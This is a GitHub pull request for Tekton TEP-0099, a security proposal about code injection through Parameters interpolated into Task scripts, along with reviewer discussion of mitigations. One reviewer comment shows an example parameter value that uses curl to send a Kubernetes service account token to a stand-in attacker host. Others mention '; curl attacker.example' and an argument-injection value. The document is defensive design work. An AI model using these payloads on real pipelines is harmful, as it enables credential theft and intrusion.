Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

TEP-0099: Parameters in Script #596

Closed
wants to merge 1 commit into from
Closed

Conversation

jerop
Copy link
Member

@jerop jerop commented Jan 6, 2022

This PR adds the problem statement for the TEP and identifies possible solutions.
The proposal will be added in a subsequent PR after discussions of alternatives.

Using Parameter variables directly in script blocks in Tasks is a footgun
in two ways:

  • Security: It is easy for a Task author to accidentally introduce a vector
    for code injection and, by contrast, difficult for a Task user to verify that
    such an injection can't or hasn't taken place.
  • Reliability: It is easy for a Task user to accidentally pass in a Parameter
    with a character that would make the Script invalid and fail the Task, making
    the Task extremely fragile.

To solve the above problems, this TEP aims to:

  • Introduce a safe and reliable way to access Parameter variables from Scripts,
    and update the documentation and Tekton Catalog with the new approach.
  • Disallow use of Parameter variables directly in script blocks of Steps in
    Tekton Pipelines V1 API.

References:

Co-authored-by: Scott Seaward [email protected]

@tekton-robot tekton-robot added the size/L Denotes a PR that changes 100-499 lines, ignoring generated files. label Jan 6, 2022
@jerop
Copy link
Member Author

jerop commented Jan 6, 2022

/kind tep
/cc @bobcatfish @coryrc @imjasonh @mogsie @popcor255 @skaegi @sbwsg

@tekton-robot tekton-robot added the kind/tep Categorizes issue or PR as related to a TEP (or needs a TEP). label Jan 6, 2022
@tekton-robot tekton-robot requested review from imjasonh, skaegi and a user January 6, 2022 00:51
@tekton-robot
Copy link
Contributor

@jerop: GitHub didn't allow me to request PR reviews from the following users: coryrc, mogsie, popcor255.

Note that only tektoncd members and repo collaborators can review this PR, and authors cannot review their own PRs.

In response to this:

/kind tep
/cc @bobcatfish @coryrc @imjasonh @mogsie @popcor255 @skaegi @sbwsg

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

teps/0099-parameters-in-script.md Outdated Show resolved Hide resolved
teps/0099-parameters-in-script.md Outdated Show resolved Hide resolved
teps/0099-parameters-in-script.md Show resolved Hide resolved
teps/0099-parameters-in-script.md Outdated Show resolved Hide resolved
teps/0099-parameters-in-script.md Outdated Show resolved Hide resolved
- name: foo
image: myimage
script: |
echo $(params.bar.env)
Copy link

@ghost ghost Jan 6, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I really like this approach because of its explicitness and I like the other alternative for projecting into the filesystem as well (particularly if we take that approach for the result refs / param files idea from TEP-0086!).

So one more alternative might be to combine these ideas:

  1. expand $(params.bar.env) into PARAM_BAR. This instructs Tekton to put the param value into an env var on that Step and allows any script lang to use it:
    shell: echo ${$(params.bar.env)}
    python: print os.getenv("$(params.bar.env)")
    node: console.log(process.env.$(params.bar.env))
  2. expand $(params.bar.path) into /tekton/params/bar. This instructs Tekton to put param value into file for that Step and similarly makes it available to any language of script:
    shell: cat $(params.bar.path)
    python: with open("$(params.bar.path)") as file: # ...
    node: fs.readFileAsync($(params.bar.path), 'utf8', (err, data) => {})


1. Is it sufficient to address `Parameters` in `Script` only, or do we need to
consider all variables that can be substituted in `Script`?
1. Which alternative do we prefer to go forward with?
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I definitely prefer the approach of projecting into env or filesystem rather than shell-escaping the value. Shell-escaping feels language-specific while script fields are language agnostic. I also like the explicitness of using $(params.foo.env) or $(params.foo.path) in the script over implicit projections.

Exposing params exclusively via the filesystem makes the most sense to me if we decide to take that route in TEP-0086 for populating params from a sidecar.

Copy link
Member

@lbernick lbernick Jan 6, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Agreed with concerns about shell-escaping. My preferred approach would be to disallow interpolation in scripts, and to have an opt-out feature that makes parameters available as env vars (as proposed in alternative 1).

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've mentioned my objections to shell escaping, and think it's a non-starter. To me, projecting to a file system would be nice-to-have, as some parameters might contain (important) newlines, special characters and so on. However, having to read in each parameter to a variable can be tedious and verbose, and easily fumbled, so I would much much prefer the automatic environment variable mapping as the default.

params:
  - name: branch
    description: The name of a branch (no whitespace or trailing newline allowed)
    type: string
    # projection: environment  # the default perhaps?
  - name: manifest
    description: A yaml manifest (that should end with a trailing newline)
    type: string
    projection: file  # or something.

This would supply

  • branch as the PARAM_BRANCH environment variable
  • manifest as /tekton/params/manifest, and its path provided as $(params.manifest.path) perhaps.

The "projection" could in future be used for an as-of-yet unused feature: the script's standard input! e.g. projection: stdin = pass a parameter to the stdin of the command. That could allow you to have sed or jq as the shell, to do simple transformations of data as tasks. It would of course be awesome if that is paired with the script's stdout being piped to a result.

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The only issue I see with this proposal is that it's backwards-incompatible in a different way: suddenly every param is exposed as an env var or file to every step in the task. Right now only those steps that explicitly include the param receive its value.

I'll update the alternatives to include this one as well, thanks @mogsie

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That is actually a good point. When I define multi-step tasks, I generally want some parameters to go to some steps. I often give them different names based on their role. One step might use a parameter in one way, and another step in a different way. So maybe explicit env: name + value is best... It removes the problem of naming conflicts, which step gets which parameter, and the "implicitness" of magically set environment variables.


## Open Questions

1. Is it sufficient to address `Parameters` in `Script` only, or do we need to
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looking at the list of variables available to Tasks the majority should be filtered through various forms of escaping. However I still feel uneasy about any of those values being injected directly into script because we don't have an audit of the kinds of escaping taking place across the codebase wrt those vars. I'd be happy to take this on if we decide to move to implementable in some form here but decide to only limit the scope to params right now.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

imho as @sbwsg it might be for all things that can be interpolate in the script.

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

IMHO interpolating simple things like paths and names of namespaces and so on should be fairly safe. The value of context.taskRun.Namespace will never be --target=/hack-me or ; curl attacker.example. The only real attack vector is that of parameters that can contain arbitrary data.

that use `$(params.X)` syntax in `script` then we should continue supporting
that usage in v1beta1 resources. Ideally, Tekton Pipelines would warn the user
about it somehow.
1. **Backwards incompatible in v1**. Starting with v1, Tekton should strive to
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nit: I would rephrase this slightly-- the goal isn't to be backwards incompatible in v1, it's to be secure by default and backwards incompatibility is unfortunately necessary

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As stated above, I am not sure why we "assume" we can't fix this without being backward incompatible. If we disallow parameter variable interpolation in script, of course we will, but is it the only way to do it ?

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You're totally right @lbernick : being backwards incompatible is not the end goal here. We'll update this bit.

@vdemeester Maybe we could define backwards compatibility more clearly here?

The TEP is treating "Backwards compatible" to mean we continue to support users injecting executable statements from params into scripts using the current param syntax. E.g. continue to support the code injection use-case in the git-clone catalog task that spurred some of this discussion.

I'm not sure we can have it both ways though. Today we support the direct interpolation of param values into script bodies as executable statements. Changing that is de facto backwards incompatible I think. As soon as we treat param values as something to sanitize then it necessarily means those values will be escaped before insertion (rendered non-executable), stringified as env vars, put in a file on disk, or something else.

in `script` fields should be treated as an error. Newly submitted (or resolved)
`Tasks` with this error should fail validation. Existing `Tasks` that include this
error should be prevented from executing.
1. **Provide an escape hatch in v1**. If an operator decides that they want to
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

When you say "operator" do you mean the operator of a cluster has the choice of whether to permit interpolation? Do you know why users might want this? (Maybe they are trying to use a task they don't own that has params embedded in a script-- but ideally as you mentioned we should be able to automate updating Tasks, and all catalog tasks should be updated.)

I like that allowing this behavior to be configurable by cluster operators doesn't force everyone to audit catalog Tasks for security, but I'm not sure why someone might need it.

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah, that's the definition of "operator" we had in mind.

The intention was to support users who have legacy Tasks that haven't been updated to access params in whatever way we decide here. Automation should be able to fix 90% of cases I hope and validation could disallow the rest, but the idea was to give operators that extra wiggle room if they really really don't have the bandwidth to update an existing Task that's vital to some part of their infra.

I definitely don't have any user reports to hand requesting this kind of support though.

This approach is also under discussion in the context of changing the way `Result`
values are stored in [TEP-0086][tep-0086-alt]. In that proposal a sidecar is
responsible for fetching `Results` from previous `Tasks` and writing them to
a location on disk for use as `Parameters`.
Copy link
Member

@lbernick lbernick Jan 6, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you elaborate on why this is safer than the current behavior? Are results safe to use in scripts, while params are (currently) not? How are the parameter values in scripts replaced with their values in this proposal?

Copy link

@ghost ghost Jan 6, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Params are interpolated directly into the script before it's passed to the container to run. Any value passed to a param is inserted into the script verbatim and executed as if the original script included it - the controller doesn't touch the string content and the container itself doesn't know any different. Plucking out one of the examples from the TEP:

  steps:
  - name: foo
    image: myimage
    script: |
      echo $(params.bar)

If a TaskRun passes the value like this:

params:
- name: bar
  value: $(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token))

... then the script that the container executes is:

echo $(curl -s http://attacker.example.com/?value=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token))

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks! What I'm confused about is why writing the value of the parameter to the filesystem prevents this problem. Based on the sample scripts provided, it looks like Tekton is still going to substitute the parameter value into the script. I may be misunderstanding the proposal here, but it sounds like the parameter values are being copied to a different location before being substituted into the script. Why would that prevent injection attacks?

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ah I see! I think the intention here was to inject the path to the file instead of the content of the file itself.

The doc says:

However, instead of exposing the file path, we would hide it behind a variable (possibly reusing $(params.<name>).

I believe this means that instead of having the user type out the literal path to the param file, we'd use a variable to give them the path instead. So $(params.foo) would become /tekton/params/foo. Variables are preferable rather than hard-codes paths so that, as much as possible, specific paths don't get forever burned in to an API contract.

So the safety aspect comes from the fact that, in order to inject code, a script would first have to explicitly choose to execute a param from a file, rather than having the content of that param in-lined into the script field itself.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, this makes a lot more sense! The example might be more clear if the output script is changed to reflect the fact that it's now reading from a file, e.g. cat $(params.foo). This looks like it would be much more challenging to automate.

##### Discussion

This approach mutates the specification, but it is something we're already doing
with implicit `Parameters` per [TEP-0023][tep-0023].
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Will shell escaping prevent all shell injection vulnerabilities? Our catalog guidance says that "no amount of escaping will be air-tight".

This sounds safer than current behavior but it seems like it will still lead to users having to audit Tasks for security.

@vdemeester
Copy link
Member

/assign

Copy link
Member

@vdemeester vdemeester left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

  • The problem of script is the obvious one but injection is not limited to it (although harder)
  • Did we look at a way to handle this in a backward compatible way ? We control what we write as part of the script, so we could "mutate" the script somehow ? (thinking about it, it sounds hard to do in a lanuage-agnostic way)
  • How much is script used ? What for (aka how could it be used differently in which case) ? How often is there a shebang and thus most likely a different language used ? Depending on the answer, we could look into other alternative (we know a lot of things if there is no shebang for example, so it's "relatively easy" to escape things, …).

The trick here is, if we continue allowing Parameter interpolation in script and do not change anything, we put the burden (and verbosity) on the author of the Task to make them safe. Or we expose the user of the Task to possible malicious injection.

As linked in that document, https://github.com/tektoncd/plumbing/pull/977/files (and other PRs) gives some example of the use of script and what is required to "sanitize" Task with script today. The current "workaround" is very verbose and I think I tend to like one of the alternative with the .env at the end, even though it might make this "kind-of security" opt-in.

Comment on lines 58 to 62
To solve the above problems, this TEP aims to:
- Introduce a safe and reliable way to access `Parameter` variables from `Scripts`,
and update the documentation and *Tekton Catalog* with the new approach.
- Disallow use of `Parameter` variables directly in `script` blocks of `Steps` in
*Tekton Pipelines V1 API*.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We want things to be safe, I am not sure we want to "disallow" Parameter variables in sciprt if we can find a way to make it safely right ?

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'll update the wording here to something like this:

- By default in v1, prevent implicit interpolatin of param values into executable
  contexts unless we can validate that doing so is safe.

Comment on lines +126 to +135
To audit whether a `Task` is at risk of code injection, a user would need
to determine two things: first whether that `Task` includes a `Parameter`
directly referenced from a `Script` and, if it does, whether that
`Parameter` was ever populated using untrusted input.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think the use of script highlight this problem but I don't think it's limited to it, right ? You could definitely still use Parameter to inject malicious code without script (and with env var), it's just harder 🙃

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah I think the line we want to draw is between "this is the default for param values" and "this is possible with param values". At the moment execution of param values as script statements is the default.

Comment on lines 203 to 204
Disallow interpolating `Parameter` variables directly into the body of a `Script`
by *Tekton Pipelines V1* release to be secure by default.
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I agree with 4. but not necessarily with this. Disallowing Parameter variable interpolation in srcipt is one way to achieve 4., it might not be the only way.

that use `$(params.X)` syntax in `script` then we should continue supporting
that usage in v1beta1 resources. Ideally, Tekton Pipelines would warn the user
about it somehow.
1. **Backwards incompatible in v1**. Starting with v1, Tekton should strive to
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

As stated above, I am not sure why we "assume" we can't fix this without being backward incompatible. If we disallow parameter variable interpolation in script, of course we will, but is it the only way to do it ?


##### Discussion

This approach mutates the specification, but it is something we're already doing
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Isn't this a "user" mutation (aka that's up to the user to add the .shell-escaped) ?


## Open Questions

1. Is it sufficient to address `Parameters` in `Script` only, or do we need to
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

imho as @sbwsg it might be for all things that can be interpolate in the script.

@ghost
Copy link

ghost commented Jan 6, 2022

How much is script used ? What for (aka how could it be used differently in which case) ? How often is there a shebang and thus most likely a different language used ? Depending on the answer, we could look into other alternative (we know a lot of things if there is no shebang for example, so it's "relatively easy" to escape things, …).

Just to put some numbers to this for the catalog: we have ~128 tasks. 76 use a script block. 45 have a shebang, 31 use tekton default shell (sh).

catalog task #! types

Count Shell
31 Tekton's Default (sh)
19 bash, /usr/bin/env bash, etc...
14 python or python3 or /usr/libexec/platform-python etc...
11 sh, /usr/bin/env sh etc...
1 /usr/bin/env pwsh

@tekton-robot tekton-robot added size/XL Denotes a PR that changes 500-999 lines, ignoring generated files. and removed size/L Denotes a PR that changes 100-499 lines, ignoring generated files. labels Jan 7, 2022
> also lead to confusion among users, which we should design for.

Users need a way to safely and reliably substitute `Parameters` in `Scripts` in `Steps`
of their `Tasks`. This would make it easier to use Tekton without learning advanced topics,
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Just a side note. Yes, it is a nice goal to avoid having to understand "advanced topics", but I think when writing any language, there must be some fundamental understanding. Even a simple script like cp $PARAM_SOURCE $PARAM_TARGET is not good enough; you must know about how whitespace is treated. But cp "$PARAM_SOURCE" "$PARAM_TARGET" isn't good either, because if a source file name is called --foo for whatever reason, the command fails.

An attack vector here is setting $PARAM_SOURCE to --target=/somewhere — so that the script ends up being:

cp --target=/somewhere target

which ends up copying target to /somewhere. Imagine an attacker updating a tekton result, if you can guess the path of a result, causing tasks further down the line to misbehave.

(FWIW the correct way to copy is therefore cp -- "$PARAM_SOURCE" "$PARAM_TARGET").

This is just one of the numerous common bash pitfalls.

The same problem is apparent in any language (the guidance I wrote showed how to break out of a python string / heredoc; interpolating strings into source code and then handing that source code over to a parser securely is an incredibly difficult problem to solve. This is why we have things like arguments, environment variables, stored procedures for SQL, and so on; to avoid problems that arise when escaping.

[TEP-0023][tep-0023].

Note: while this would be safer than Tekton Pipeline's existing
behaviour our own catalog guidance claims that "no amount of escaping
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I wrote this part of the catalog guidance, and it is there mainly because the premise of escaping is flawed; when the result will be parsed from scratch by the interpreter, e.g. bash or python. I actually think it's impossible to create an escaping solution that "just works" in all situations. e.g. if I have the following script

#!/bin/sh
echo $(params.bar)
echo "$(params.bar)"
echo '$(params.bar)'
cat <<EOF
$(params.bar)
EOF
cat <<'EOF'
$(params.bar)
EOF

here there are five different escaping techniques; the first one needs to be escaped, the second one needs to protect against " and $ syntax, the third against ', the last two need additionally to somehow escape \nEOF. It just gets extremely complicated, and will undoubtedly be the cause of much frustration.

script: |
# note here that params.bar.env must be double-wrapped
# once for tekton in $() and again for shell ${}
echo ${$(params.bar.env)}
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should this just be

echo $(params.bar.env)

and it will expand to

echo ${PARAM_BAR}

(if not, this alternative is no different than the next).

Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good catch, i started editing this one and then mid-stream added it as a new alternative instead without backing out these changes. Will fix 👍

We have projected `Parameters` as environment variables in the `git-clone` Task in the
Catalog and in our own plumbing repository. We can use this approach, and simplify the
syntax by implicitly projecting `Parameters` as environment variables in `Steps`.
The environment variable should be prefixed with `PARAM_` to make it clear and predictable.
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

One challenge with this is that I believe that parameter names are quite permissive, and allow lots of punctuation marks and even whitespace. Coming up with a solid mapping from parameter name to environment variable name (or specifying what happens if there is a collission, like rejecting the task / task run) is important.

script: |
# note: echo becomes cat because we now print
# the contents of a file
cat $(params.bar)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The reality is that these parameters will not be used in simple "echos". They will be used in calculations and commands. It's a bit strange that all the examples are the "echo params.bar" example that I used when writing the catalog guideline against interpolation.

These parameters will almost always be used in other commands, e.g. cloning a repo, checking out a branch, setting author names, and so on. So perhaps the example ought to be slightly more real-world?

git checkout "$(params.branch)"

Because the more interesting question is what that would become, especially if the repo is now a file. We would need to read the file in as a variable in bash, something that is not the easiest thing to do and comes with its own shell nuances. Especially when it comes to the trailing linebreaks.

foo=$(cat /tekton/params/in/foo)  # removes all trailing line-breaks
IFS='' read -d -r bar /tekton/params/in/bar  # keeps any trailing line-breaks

While removing a trailing linebreak characters is often the right thing — sometimes it is not, and knowing when to do what is important. Since the results have no special treatment of trailing whitespace (a good thing IMHO), maybe tekton should keep this stance. I also mentioned this briefly in the guidelines, but it might be that it it should be expanded upon.

Copy link

@ghost ghost Jan 14, 2022

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I hear you on the real-world examples and will update the content here to use git clone as you suggest. Just want to respond to one thing you mentioned:

While removing a trailing linebreak characters is often the right thing — sometimes it is not, and knowing when to do what is important.

Our aim with this TEP is not to "fix" bash scripting, or even make it easier really. As you mentioned elsewhere we have to lean a little bit on script authors to be knowledgeable about the language they're using.

We're really looking for something like an "as-close-as-possible-to-existing-behaviour" solution that allows us to stop injecting content into executable contexts by default. I've taken the read-based approach you described in the Alternatives of this doc so that we continue respecting any leading and trailing whitespace, similar to if the content of the param were injected directly.

Your example elsewhere of prepared statements in SQL is spot on for the intentions behind this TEP I think!


## Open Questions

1. Is it sufficient to address `Parameters` in `Script` only, or do we need to
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

IMHO interpolating simple things like paths and names of namespaces and so on should be fairly safe. The value of context.taskRun.Namespace will never be --target=/hack-me or ; curl attacker.example. The only real attack vector is that of parameters that can contain arbitrary data.


1. Is it sufficient to address `Parameters` in `Script` only, or do we need to
consider all variables that can be substituted in `Script`?
1. Which alternative do we prefer to go forward with?
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I've mentioned my objections to shell escaping, and think it's a non-starter. To me, projecting to a file system would be nice-to-have, as some parameters might contain (important) newlines, special characters and so on. However, having to read in each parameter to a variable can be tedious and verbose, and easily fumbled, so I would much much prefer the automatic environment variable mapping as the default.

params:
  - name: branch
    description: The name of a branch (no whitespace or trailing newline allowed)
    type: string
    # projection: environment  # the default perhaps?
  - name: manifest
    description: A yaml manifest (that should end with a trailing newline)
    type: string
    projection: file  # or something.

This would supply

  • branch as the PARAM_BRANCH environment variable
  • manifest as /tekton/params/manifest, and its path provided as $(params.manifest.path) perhaps.

The "projection" could in future be used for an as-of-yet unused feature: the script's standard input! e.g. projection: stdin = pass a parameter to the stdin of the command. That could allow you to have sed or jq as the shell, to do simple transformations of data as tasks. It would of course be awesome if that is paired with the script's stdout being piped to a result.

@jerop
Copy link
Member Author

jerop commented Jan 10, 2022

/assign @skaegi

@lbernick
Copy link
Member

/assign

@bobcatfish
Copy link
Contributor

/assign

@tekton-robot
Copy link
Contributor

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by:
To complete the pull request process, please assign bobcatfish
You can assign the PR to them by writing /assign @bobcatfish in a comment when ready.

The full list of commands accepted by this bot can be found here.

Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

This PR adds the problem statement for the TEP and identifies possible solutions.
The proposal will be added in a subsequent PR after discussions of alternatives.

Using `Parameter` variables directly in `script` blocks in `Tasks` is a footgun
in two ways:
- **Security**: It is easy for a `Task` _author_ to accidentally introduce a vector
  for code injection and, by contrast, difficult for a `Task` _user_ to verify that
  such an injection can't or hasn't taken place.
- **Reliability**: It is easy for a `Task` _user_ to accidentally pass in a `Parameter`
  with a character that would make the `Script` invalid and fail the `Task`, making
  the `Task` extremely fragile.

To solve the above problems, this TEP aims to:
- Introduce a safe and reliable way to access `Parameter` variables from `Scripts`,
  and update the documentation and *Tekton Catalog* with the new approach.
- Disallow use of `Parameter` variables directly in `script` blocks of `Steps` in
  *Tekton Pipelines V1 API*.

References:
* Issues:
  * tektoncd/pipeline#3226
  * tektoncd/triggers#675
  * tektoncd/plumbing#971
* [Catalog Guidance to Avoid Using `Parameters` in `Script` Blocks](https://github.com/tektoncd/catalog/blob/main/recommendations.md#dont-use-interpolation-in-scripts-or-string-arguments)
* Tekton Enhancement Proposals:
  * [TEP-0017: Shell-Escaped Parameters](tektoncd#208)
  * [TEP-0023: Implicit Parameters](https://github.com/tektoncd/community/blob/main/teps/0023-implicit-mapping.md)

Co-authored-by: Scott Seaward <[email protected]>
@mogsie
Copy link

mogsie commented Jan 25, 2022

Great! I wonder what it might look like if some form of projection would make sense at the step level, but it would almost be identical to just plain env...

step:
- name: clone
  params:
  - name: URL_1
    value: params.url1

vs

step:
- name: clone
  env:
  - name: URL_1
    value: $(params.url1)

The former could perhaps be extended to support an expression language like cel, to do simple string manipulation at projection time:

step:
- name: clone
  params:
  - name: URL_1
    value: params.url1.substr(3, 5)

This is of course our of scope, I'm just highlighting the flexibility in defining a separate projection over env and $(...) syntax. We probably should not be mixing the $() syntax with cel.

Copy link
Contributor

@bobcatfish bobcatfish left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Some quick feedback from me: I discussed this offline with @jerop as well but my overall thoughts are:

@tekton-robot tekton-robot added the needs-rebase Indicates a PR cannot be merged because it has merge conflicts with HEAD. label Feb 2, 2022
@tekton-robot
Copy link
Contributor

@jerop: PR needs rebase.

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

@jerop
Copy link
Member Author

jerop commented May 2, 2022

hoping to revisit someday when I have the capacity, closing for now

@jerop jerop closed this May 2, 2022
@jerop jerop deleted the params-script branch June 11, 2022 01:57
tekton-robot pushed a commit that referenced this pull request Nov 1, 2023
This PR adds the problem statement for the TEP and identifies possible solutions.
The proposal will be added in a subsequent PR after discussions of alternatives.

Using `Parameter` variables directly in `script` blocks in `Tasks` is a footgun
in two ways:
- **Security**: It is easy for a `Task` _author_ to accidentally introduce a vector
    for code injection and, by contrast, difficult for a `Task` _user_ to verify that
    such an injection can't or hasn't taken place.
- **Reliability**: It is easy for a `Task` _user_ to accidentally pass in a `Parameter`
    with a character that would make the `Script` invalid and fail the `Task`, making
    the `Task` extremely fragile.

To solve the above problems, this TEP aims to:
- Introduce a safe and reliable way to access `Parameter` variables from `Scripts`,
    and update the documentation and *Tekton Catalog* with the new approach.
- Disallow use of `Parameter` variables directly in `script` blocks of `Steps` in
    *Tekton Pipelines V1 API*.

References:
* Issues:
    * tektoncd/pipeline#3226
    * tektoncd/triggers#675
    * tektoncd/plumbing#971
* [Catalog Guidance to Avoid Using `Parameters` in `Script` Blocks](https://github.com/tektoncd/catalog/blob/main/recommendations.md#dont-use-interpolation-in-scripts-or-string-arguments)
* Tekton Enhancement Proposals:
    * [TEP-0017: Shell-Escaped Parameters](#208)
    * [TEP-0023: Implicit Parameters](https://github.com/tektoncd/community/blob/main/teps/0023-implicit-mapping.md)
    * [TEP-0099: Parameters in Script](#596)

Co-authored-by: Jerop Kipruto <[email protected]>
Co-authored-by: Scott Seaward <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
kind/tep Categorizes issue or PR as related to a TEP (or needs a TEP). needs-rebase Indicates a PR cannot be merged because it has merge conflicts with HEAD. size/XL Denotes a PR that changes 500-999 lines, ignoring generated files.
Projects
Status: UnAssigned
Development

Successfully merging this pull request may close these issues.

7 participants